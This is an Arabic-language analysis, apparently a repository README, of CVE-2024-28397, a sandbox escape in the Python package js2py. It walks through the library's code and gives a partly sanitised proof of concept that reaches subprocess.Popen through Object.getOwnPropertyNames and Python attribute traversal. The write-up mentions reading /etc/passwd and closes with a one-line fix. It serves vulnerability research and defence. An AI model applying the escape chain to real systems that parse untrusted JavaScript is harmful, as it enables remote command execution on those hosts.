تحليل تفصيلي لـ CVE-2024-28397، ثغرة هروب من بيئة الحماية (sandbox escape) في js2py تتيح تنفيذ الأوامر عن بُعد (RCE) عبر اجتياز كائنات بايثون. يتضمن تحليل الكود، وإثبات المفهوم (PoC)، وتوصيات الإصلاح للبحث الدفاعي.
js2py هي حزمة بايثون شائعة يمكنها تنفيذ أكواد جافاسكريبت داخل مُفسِّر بايثون. تُستخدم من قِبل العديد من أدوات استخراج بيانات الويب لتحليل أكواد جافاسكريبت في المواقع.
توجد ثغرة في تنفيذ متغير عام داخل js2py، تسمح للمهاجم بالحصول على مرجع لكائن بايثون في بيئة js2py، مما يمكّنه من الهروب من بيئة جافاسكريبت وتنفيذ أوامر عشوائية على المضيف.
عادةً، يستدعي المستخدم js2py.disable_pyimport() لمنع كود جافاسكريبت من الهروب من بيئة js2py. لكن باستغلال هذه الثغرة، يمكن للمهاجم تجاوز هذا القيد وتنفيذ أي أمر على المضيف المستهدف.
يمكن للمهاجم استضافة موقع ويب يحتوي على ملف جافاسكريبت خبيث، أو إرسال سكربت خبيث عبر HTTP API ليقوم الضحية بتحليله. وبهذه الطريقة، يمكنه تحقيق تنفيذ عن بُعد للأكواد على المضيف عبر تنفيذ أوامر شل عشوائية على الهدف.
js2py هي مكتبة بايثون شائعة الاستخدام في برامج الزحف، وتُستخدم لتحليل وتنفيذ كود جافاسكريبت في بيئة بايثون أصلية. تعتمد برامج الزحف عمومًا على لتحليل أكواد جافاسكريبت المستخرجة من الويب، وبالتالي محاكاة بيئة المتصفح.
js2pyغير أن js2py تمتلك ميزة خطيرة جدًا لبرامج الزحف: فهي تدعم استيراد واستخدام حزم بايثون داخل JS، أي أن js2py تسمح لكود جافاسكريبت بالتعامل مع مكتبات بايثون المختلفة والتفاعل مباشرة مع بيئة بايثون. ولهذا تحديدًا، يمكننا استخدام أسلوب مشابه لـ Jinja SSTI، والاستعانة بكائن بايثون داخل بيئة js2py للوصول إلى صنف subprocess.Popen وتحقيق تنفيذ عن بُعد للأكواد (RCE).
علاوة على ذلك، ولأن js2py حزمة تعود إلى حقبة Python2، وما زالت واسعة الاستخدام ولم تتم صيانتها منذ فترة طويلة، فإن تحليلها يجب أن يكون سهلًا نسبيًا.
بعد تعيين نقاط توقف (breakpoints)، تبيّن أن المكان الذي يُحلَّل فيه كود JS فعليًا هو دالة Eval الموجودة في host/jseval.py. ومن خلال تعيين نقاط توقف داخلها، يمكنك رؤية كود بايثون الذي حوّلته js2py.
على سبيل المثال، هذا المقطع من كود JS:
let a = 114
console.log(a)
سيُحلَّل في النهاية إلى مقطع كود بايثون التالي:
var.registers(['a'])
var.put('a', Js(114.0))
EVAL_RESULT = (var.get('console').callprop('log', var.get('a')))
يمكن ملاحظة أن جميع المتغيرات في طبقة JS تُخزَّن في متغير بايثون var. جميع القيم في طبقة JS تُخزَّن نظيفًا في صنف PyJs (هنا Js هي في الواقع دالة، وسيُشرح ذلك لاحقًا). كما تُستدعى الدوال عبر callprop. في الظروف العادية، لا يمكن لكود JS لمس كائنات بايثون.
أثناء مراجعة الكود، لوحظ أن المؤلف كان مولعًا باستخدام تسلسل النصوص (string concatenation) لبناء كود بايثون النهائي، فخطرت فكرة ما إذا كان يمكن بناء كود JS يولّد كود بايثون غير قانوني، وبالتالي بناء كود بايثون عشوائي وتنفيذه. لكن بالنظر إلى أن هذا المسار أصعب بكثير من المسار اللاحق، لم يتم استكشافه أكثر.
للحصول على كائن بايثون وتنفيذ RCE، فإن أول ما يجب النظر إليه بطبيعة الحال هو كيفية تحويل كائنات بايثون إلى كائنات PyJs.
أولًا، حدد موضع تنفيذ دالة Js في base.py. تتمثل وظيفة دالة Js في تحويل قيمة بايثون الداخلة إلى قيمة PyJs المقابلة، مما يسمح لكود JS بالتعامل مع هذه القيم.
def Js(val, Clamped=False):
'''Converts Py type to PyJs type'''
if isinstance(val, PyJs):
return val
elif val is None:
return undefined
elif isinstance(val, basestring):
return PyJsString(val, StringPrototype)
elif isinstance(val, bool):
return true if val else false
elif isinstance(val, float) or isinstance(val, int) or isinstance(
val, long) or (NUMPY_AVAILABLE and isinstance(
val,
(numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
# This is supposed to speed things up. may not be the case
if val in NUM_BANK:
return NUM_BANK[val]
return PyJsNumber(float(val), NumberPrototype)
... # several lines omitted here
else: # try to convert to js object
return py_wrap(val)
يمكن ملاحظة أن هياكل بيانات بايثون الأساسية مثل bool وfloat وlist وغيرها سيتم تحويلها إلى أصناف PyJs مخصصة، بينما ستتم معالجة أنواع البيانات الأخرى بواسطة py_wrap، ليصبح الناتج في النهاية من صنف PyObjectWrapper.
أصناف PyJs العادية تمثل الأرقام والقيم المنطقية وغيرها من البيانات الشائعة، بينما يمثل PyObjectWrapper بيانات خاصة مثل وحدات بايثون. لذلك، بمجرد حصولنا على بيانات من نوع PyObjectWrapper، يمكننا استخدام أسلوب الوصول إلى الخصائص المشابه لـ Jinja SSTI لتحقيق RCE.
بشكل عام، لا يمكن الحصول على بيانات من نوع PyObjectWrapper إلا عند تفعيل وظيفة استيراد حزم بايثون. ولكن نظرًا لعدم صيانة js2py لفترة طويلة وعدم مراعاتها الدقيقة للفروق بين Python2 وPython3، حدثت في النهاية ثغرة هروب من بيئة العزل (sandbox escape).
ملاحظة جانبية: عند الاطلاع على تنفيذ PyJs، رأيت أن المؤلف كتب هذه الأسطر من الكود:
if six.PY3:
PyJs.__hash__ = PyJs._fuck_python3
PyJs.__truediv__ = PyJs.__div__
يمكن القول إن المؤلف يكره Python3 بشدة.
في حين توفر js2py وظيفة تحويل كود JS إلى كود بايثون، فإنها توفر أيضًا العديد من الكائنات المدمجة مثل console وObject لدعم التشغيل الطبيعي لكود JS.
هدفنا النهائي هو تجاوز قيد pyimport والحصول على كائن PyObjectWrapper. من التحليل أعلاه، يتضح أنه للحصول على كائن PyObjectWrapper من العدم، لا يمكننا سوى البدء من تنفيذ الكائنات المدمجة واستخراج كائن PyObjectWrapper منها.
ابدأ بفحص الكود المنفِّذ للكائنات المدمجة. من constructors/jsobject.py، يمكنك رؤية تنفيذ مختلف الدوال في كائن Object، بما في ذلك الدوال الشائعة مثل Object.keys.
ثم يمكنك رؤية هذه الدالة:
def getOwnPropertyNames(obj):
if not obj.is_object():
raise MakeError(
'TypeError',
'Object.getOwnPropertyDescriptor called on non-object')
return obj.own.keys()
يستخدم js2py بنية dict لتمثيل الكائنات في JS. وهنا تستدعي keys() دالة keys() الخاصة بقواميس بايثون. أي شخص درس بايثون يعلم أن هذه الدالة تعيد قائمة (list) في Python2، بينما تعيد عرض dict_keys في Python3. ووفقًا لتنفيذ دالة Js أعلاه، سيتم تحويل هذا dict_keys إلى PyObjectWrapper، وبالتالي يمكننا تحقيق RCE.
أولًا، تحقق مما إذا كانت getOwnPropertyNames يمكنها الحصول على PyObjectWrapper:
import js2py
code = """
let a = Object.getOwnPropertyNames({})
console.log(a)
"""
js2py.eval_js(code)
لقد طبع PyObjectWrapper(dict_keys([]))، وبالطبع يمكنها ذلك.
ثم، بالاعتماد على هذا الكائن، نحصل على دالة __getattribute__، ويمكننا بسهولة تحقيق RCE. عند كتابة إثبات المفهوم (PoC)، كانت الفكرة أعقد من اللازم؛ في الواقع، يكفي استخدام __class__.__base__ للحصول على دالة __getattribute__.
ثم، بالاعتماد على دالة __getattribute__، نحصل على كائن object، ثم نكتب دالة تكرارية (recursive) للعثور على أي صنف من أي وحدة. وهنا، لتحقيق RCE، المطلوب هو subprocess.Popen.
ملاحظة (منقّح): مقتطف الكود أدناه معروض لأغراض تعليمية وبحثية. تم تنقيحه لتجنب تسهيل إساءة الاستخدام: إذ تم استبدال أوامر الشل الحساسة والتنفيذ المباشر للأوامر بعناصر نائبة. لا تشغّل هذا ضد أنظمة الإنتاج أو الأنظمة غير المحدّثة.
import js2py
code = """
let cmd = "DUMMY_CMD" # replace with safe test command in a lab (e.g., 'echo test')
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
// The next call would invoke subprocess.Popen with arguments — in the sanitized version
// we replace the actual system invocation with a placeholder for safety reasons.
// findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("[SANITIZED] PoC execution skipped to avoid misuse")
result
"""
# Note: js2py.eval_js(code) intentionally omitted to avoid running exploit code in this repository.
رقم إصدار المكوّن المتأثر:
المنتجات المتأثرة:
خطوات إعادة الإنتاج (للمختبر فقط):
pip install js2py لتثبيت js2py ونفّذ سكربت إثبات مفهوم منقّح في بيئة مختبر معزولة. حاول إثبات المفهوم الأصلي تنفيذ أوامر مثل head -n 1 /etc/passwd وآلات حاسبة؛ وفي هذا المستودع تم استبدالها بعناصر نائبة آمنة.PyObjectWrapper من Object.getOwnPropertyNames({})، مما يتيح التنقل بين الخصائص للوصول إلى البنيات الداخلية لبايثون.بما أن المشكلة تكمن في دالة getOwnPropertyNames، فإن تحويل dict_keys الذي تعيده إلى قائمة عادية يصلح المشكلة. التصحيح المقترح هو تغليف obj.own.keys() بـ list(...) قبل إرجاعه.
هذا المستودع مخصص للأغراض التعليمية والبحثية الدفاعية فقط. لا تستخدم أي معلومة أو كود هنا لمهاجمة أنظمة دون إذن صريح. تم تنقيح مقتطفات إثبات المفهوم (PoC) لتجنب تسهيل إساءة الاستخدام.
جُمِع وتُرجم لأغراض البحث والاستخدام الدفاعي.